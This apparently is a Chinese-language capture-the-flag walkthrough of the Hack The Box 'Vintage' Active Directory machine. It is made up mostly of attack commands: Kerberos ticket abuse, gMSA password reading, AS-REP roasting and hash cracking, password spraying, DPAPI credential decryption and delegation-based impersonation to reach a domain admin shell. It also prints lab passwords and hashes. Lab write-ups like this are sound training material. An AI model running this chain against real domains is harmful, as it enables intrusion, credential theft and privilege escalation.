USER

题目提示内网账号密码 P.Rosa / Rosaisbest123
nmap -T4 -v -A -Pn 10.10.11.45 -oN vintage.txt

测试了 smb
nxc smb vintage.htb -u P.Rosa -p Rosaisbest123

rpc 无法连接
rpcclient -U P.Rosa //vintage.htb

导入 tgt 票据测试
timedatectl set-ntp off
ntpdate dc01.vintage.htb #相比rdate更好用
impacket-getTGT vintage.htb/P.Rosa:Rosaisbest123
export KRB5CCNAME=P.Rosa.ccache
nxc smb dc01.vintage.htb -d vintage.htb -k --use-kcache --rid-brute




bloodhound-python 跑域内环境
bloodhound-python -u P.Rosa -p Rosaisbest123 -d vintage.htb -k -c All -dc dc01.vintage.htb -ns 10.10.11.45 --zip
pre2k.py 跑一下这些用户是否有未授权登录
python3 /home/kali/Tool/pre2k-TS/pre2k.py unauth -d vintage.htb -dc-ip dc01.vintage.htb -inputfile users.txt -save

找到了 fs01 的未授权,同时自动保存了 tgt 票据
查看 fs01 的关系 FS01.VINTAGE.HTB 是组 DOMAIN [email protected] 的成员
组 DOMAIN [email protected] 可以检索GMSA [email protected] 的密码。
( [email protected] 用于自动服务的密码管理)

export KRB5CCNAME=FS01\$.ccache #导入fs01的cache
查看文档,可以知道密码是存储在 gmsa 的 MSDS-ManagedPasswordInterval 属性内

利用 bloodAD 读取属性
python /home/kali/Tool/bloodyAD/bloodyAD.py -v DEBUG --host dc01.vintage.htb -d 'vintage.htb' -k --dc-ip 10.10.11.45 get object 'S-1-5-21-4024337825-2033394866-2055507597-1107' --attr msDS-ManagedPassword

ntlm hash
aad3b435b51404eeaad3b435b51404ee:7dc430b95e17ed6f817f69366f35be06
可以看见 gmsa 到 servicemanagers 有 addself,可以添加自己到组内
然后 servicemangers 对三个用户都有 genericall,完全控制

请求 gmsa 的 ticket,然后用 gmsa 的权限将 P.Rosa 加入到 servicemanagers
impacket-getTGT vintage.htb/GMSA01$ -hashes aad3b435b51404eeaad3b435b51404ee:7dc430b95e17ed6f817f69366f35be06
export KRB5CCNAME=GMSA01\$.ccache
python /home/kali/Tool/bloodyAD/bloodyAD.py -v DEBUG --host dc01.vintage.htb -d 'vintage.htb' -k --dc-ip 10.10.11.45 add groupMember "SERVICEMANAGERS" "P.Rosa"

然后请求新的P.Rosa 的 ticket
impacket-getTGT vintage.htb/P.Rosa:Rosaisbest123 -dc-ip dc01.vintage.htb
export KRB5CCNAME=P.Rosa.ccache

这里可以依靠新的P.Rosa 的 ticket 来使用 ldapsearch 查看来列出不需要 Kerberos 认证的 用户
ldapsearch -x -H ldap://10.10.11.45 -D "[email protected]" -w "Rosaisbest123" -b "DC=vintage,DC=htb" "(objectClass=user)" sAMAccountName | grep "sAMAccountName:" | cut -d " " -f 2 > users.txt

其实和原本的没什么差别
后面就是 Kerberos Roasting 攻击
impacket-GetNPUsers 查看不需要认证的用户 UF_DONT_REQUIRE_PREAUTH
impacket-GetNPUsers -dc-ip 10.10.11.45 -request -usersfile users.txt vintage.htb/

报错KDC_ERR_CLIENT_REVOKED,Kerberos 凭证已失效,即该用户的帐户或 Kerberos 凭证不再有效
然后 doesn't have UF_DONT_REQUIRE_PREAUTH 没有禁用预认证
python /home/kali/Tool/bloodyAD/bloodyAD.py -v DEBUG --host dc01.vintage.htb -d 'vintage.htb' --dc-ip 10.10.11.45 -k add uac SVC_ARK -f DONT_REQ_PREAUTH
python /home/kali/Tool/bloodyAD/bloodyAD.py -v DEBUG --host dc01.vintage.htb -d 'vintage.htb' --dc-ip 10.10.11.45 -k add uac SVC_LDAP -f DONT_REQ_PREAUTH
python /home/kali/Tool/bloodyAD/bloodyAD.py -v DEBUG --host dc01.vintage.htb -d 'vintage.htb' --dc-ip 10.10.11.45 -k add uac SVC_SQL -f DONT_REQ_PREAUTH

再用 impacket-GetNPUsers 攻击
impacket-GetNPUsers -dc-ip 10.10.11.45 -request -usersfile users.txt vintage.htb/

这里 svc_sql 还是报错,忘记启用了
python /home/kali/Tool/bloodyAD/bloodyAD.py --host dc01.vintage.htb -d "VINTAGE.HTB" --dc-ip 10.10.11.45 -k remove uac SVC_SQL -f ACCOUNTDISABLE

重新运行就可以了
破解一下
hashcat -a 0 -m 18200 hash.txt /usr/share/wordlists/rockyou.txt

爆破出密码 Zer0the0ne
kerbrute 枚举用户
/home/kali/Tool/kerbrute --dc vintage.htb -d vintage.htb -v passwordspray users.txt Zer0the0ne

请求C.Neri 的 ticket
impacket-getTGT vintage.htb/C.Neri:Zer0the0ne
export KRB5CCNAME=C.Neri.ccache

配置一下 /etc/krb5.conf 才能连接


拿到 user.txt
ROOT
whoami /user

使用 DPAPI 来获取密码
cd C:\Users\C.Neri\AppData\Roaming\Microsoft\Credentials
dir -h
download C4BB96844A5C9DD45D5B6A9859252BA6
C:\Users\C.Neri\AppData\Roaming\Microsoft\Protect\S-1-5-21-4024337825-2033394866-2055507597-1115
dir -h
download 99cf41a3-a552-4cf7-a8d7-aca2d6f7339b

impacket-dpapi masterkey 导出 hash
impacket-dpapi masterkey -file 99cf41a3-a552-4cf7-a8d7-aca2d6f7339b -sid S-1-5-21-4024337825-2033394866-2055507597-1115 -password Zer0the0ne

impacket-dpapi credential 解密
impacket-dpapi credential -file C4BB96844A5C9DD45D5B6A9859252BA6 -key 0xf8901b2125dd10209da9f66562df2e68e89a48cd0278b48a37f510df01418e68b283c61707f3935662443d81c0d352f1bc8055523bf65b2d763191ecd44e525a

解密出c.neri_adm密码Uncr4ck4bl3P4ssW0rd0312
查看一下c.neri_adm 的关系

delegatedadmins 组里又包含

将SVC_SQL 添加到DELEGATEDADMINS 组内
然后伪造SVC_SQL 的 spn 服务
python /home/kali/Tool/bloodyAD/bloodyAD.py -v DEBUG --host dc01.vintage.htb --dc-ip 10.10.11.45 -d "VINTAGE.HTB" -u c.neri_adm -p 'Uncr4ck4bl3P4ssW0rd0312' -k add groupMember "DELEGATEDADMINS" "SVC_SQL"
python /home/kali/Tool/bloodyAD/bloodyAD.py --host dc01.vintage.htb -d "VINTAGE.HTB" --dc-ip 10.10.11.45 -k set object "SVC_SQL" servicePrincipalName -v "cifs/fake"

获取更新后的票据
impacket-getTGT vintage.htb/SVC_SQL:Zer0the0ne -dc-ip dc01.vintage.htb
export KRB5CCNAME=SVC_SQL.ccache
这里如果报错,就再开启SVC_SQL
python /home/kali/Tool/bloodyAD/bloodyAD.py --host dc01.vintage.htb -d "VINTAGE.HTB" --dc-ip 10.10.11.45 -k remove uac SVC_SQL -f ACCOUNTDISABLE

伪造 L.BIANCHI_ADM 请求 cifs/dc01.vintage.htb 的 ST
impacket-getST -spn 'cifs/dc01.vintage.htb' -impersonate L.BIANCHI_ADM -dc-ip 10.10.11.45 -k 'vintage.htb/svc_sql:Zer0the0ne'
export KRB5CCNAME=L.BIANCHI_ADM@[email protected]

使用新的票据执行 impacket-wmiexec
impacket-wmiexec -k -no-pass VINTAGE.HTB/[email protected]


Comments | NOTHING